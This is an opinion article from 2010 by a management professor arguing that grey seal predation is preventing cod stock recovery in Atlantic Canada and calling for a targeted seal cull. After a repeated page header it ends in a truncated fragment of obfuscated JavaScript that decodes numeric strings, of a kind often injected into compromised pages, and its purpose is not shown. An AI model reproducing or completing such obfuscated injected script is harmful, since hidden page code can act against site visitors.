

Grey Seals and Cod

Written by Dan Lane
Friday, 23 April 2010 21:29 -

Are grey seals a menace to Atlantic groundfish stocks? Some scientific studies suggest they are inhibiting cod recovery in the southern Gulf and off Nova Scotia.

The question has been raised about the evidence that grey seals threaten the recovery of cod stocks. From a simplistic perspective, consider the following: (1) grey seals are effectively protected (they have few markets, and catches of greys are negligible); (2) grey seals eat cod (and most anything they can find, as opportunistic feeders); (3) commercial fisheries for cod in the Gulf of St. Lawrence, Eastern Scotian Shelf (where they are appreciable populations of greys) are closed and otherwise have been severely restricted for many years; (4) cod populations continue to decline in the Gulf and the ESS (COSEWIC has called them threatened).

Ipso facto, grey seals threaten cod.

It gets worse: Swain and Chouinard in a 2008 CSAS research document (see the DFO Science Publications website for an electronic version of the paper), report that, from their predictive trend analysis, the 4TVn (Gulf of St. Lawrence) will be extirpated in 50 years - assuming NO fishing - if the rates of "natural" mortality (read: grey seals) continue at the current elevated rate.

Ask yourself this: are we really interested in managing the cod and groundfish populations? If so, do we not have an obligation to manage the "natural" predation by grey seals— amidst the predicted annihilation of Swain & Chouinard 2008 of the Southern Gulf cod stock? Kudos to Gail Shea for making some movement and providing some leadership toward suggesting programs for targeted reduction of grey seal populations before: (i) disease devastates the seals (and the rest of the NE Atl ecosystem), and/or (ii) fish populations are extirpated (in which case, the seals will move on to.. lobster, crab, - whatever is left). In either case, we must stop hanging the blame on the fishing industry and start applying fisheries management. In the meantime, it is unfortunate that Shea's Department prefers to avoid the management issue and hide behind the need for "scientific evidence" - a catch phrase for "do nothing".

2010 is the World Year of Biodiversity. Are we prepared to see our fin fish stocks extirpated while we "celebrate" biodiversity and forego opportunities to bring value and tradition to despair regions of Canada?

Daniel E. Lane, Professor, Telfer School of Management, University of Ottawa

Grey Seals and Cod

Written by Dan Lane
Friday, 23 April 2010 21:29 -

```
var a=0,m,v,t,z,x=new  
Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656  
380','7684','61818075'),l=x.length;while(++a
```